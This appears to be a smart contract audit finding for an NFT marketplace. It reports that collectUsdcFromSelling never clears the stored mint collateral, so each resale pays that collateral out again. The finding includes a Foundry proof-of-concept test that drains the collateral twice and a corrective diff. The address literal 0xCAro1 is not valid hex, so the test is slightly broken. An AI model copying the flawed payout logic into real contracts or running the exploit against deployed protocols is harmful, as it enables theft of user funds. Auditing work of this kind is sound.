Root + Impact
-
Normal behavior: Minting locks USDC collateral per token, which should be returned only once to the original minter/seller, while the protocol keeps resale fees.
-
Bug: collectUsdcFromSelling reads collateralForMinting[tokenId] every time it’s called but never resets it, so each resale pays out the same “mint collateral” again, while totalFeesCollected is increased and a fake self-transfer is performed.
function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
collateralForMinting[tokenIdCounter] = lockAmount;
_safeMint(msg.sender, tokenIdCounter);
}
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood:
-
In any active marketplace, NFTs will be resold multiple times; after each resale, the new seller will naturally call collectUsdcFromSelling to receive proceeds.
-
Every resale after the first repeats the collateral payout (collateralForMinting[tokenId]), so this bug is hit routinely under normal usage (not just edge cases).
Impact:
-
The same mint collateral is paid out on every resale, so sellers collectively withdraw more “collateral” than was ever deposited, draining protocol reserves.
-
totalFeesCollected grows, but the fake safeTransfer(address(this), fees) does not move tokens, causing accounting to diverge from actual balance; eventually withdrawFees and/or further collectUsdcFromSelling calls can revert due to insufficient USDC, freezing protocol operations.
PoC
function testCollateralReusedAcrossResales() public {
MockUSDC usdc = new MockUSDC();
address owner = address(0xABCD);
NFTDealers dealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "img", 20e6);
address alice = address(0xA11CE);
address bob = address(0xB0B);
address carol = address(0xCAro1);
usdc.mint(alice, 20e6);
usdc.mint(bob, 1_000e6);
usdc.mint(carol, 1_000e6);
vm.prank(owner);
dealers.revealCollection();
vm.prank(owner);
dealers.whitelistWallet(alice);
vm.startPrank(alice);
usdc.approve(address(dealers), 20e6);
dealers.mintNft();
vm.stopPrank();
uint256 P = 1_000e6;
vm.startPrank(alice);
dealers.list(1, uint32(P));
vm.stopPrank();
vm.startPrank(bob);
usdc.approve(address(dealers), P);
dealers.buy(1);
vm.stopPrank();
vm.prank(alice);
dealers.collectUsdcFromSelling(1);
vm.startPrank(bob);
dealers.list(1, uint32(P));
vm.stopPrank();
vm.startPrank(carol);
usdc.approve(address(dealers), P);
dealers.buy(1);
vm.stopPrank();
vm.prank(bob);
dealers.collectUsdcFromSelling(1);
}
What this PoC shows:
-
One 20 USDC collateral deposit can be paid out twice (to Alice and Bob) by repeatedly calling collectUsdcFromSelling on resales.
-
The contract’s logical accounting (“collateral + fees”) exceeds the actual USDC balance held, creating insolvency and setting up later withdrawals to fail.
Recommended Mitigation
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
- uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ // Clear collateral so it cannot be withdrawn multiple times across resales
+ collateralForMinting[listing.tokenId] = 0;
+ uint256 amountToSeller = listing.price - fees + collateralToReturn;
totalFeesCollected += fees;
- amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
+ // Remove self-transfer; contract already holds the funds
usdc.safeTransfer(msg.sender, amountToSeller);
}
Mitigation explanation:
-
Clearing collateralForMinting[tokenId] after the first successful collection guarantees the same collateral cannot be reused on subsequent resales.
-
Removing the self-transfer keeps totalFeesCollected aligned with the real USDC balance and avoids fake internal accounting.
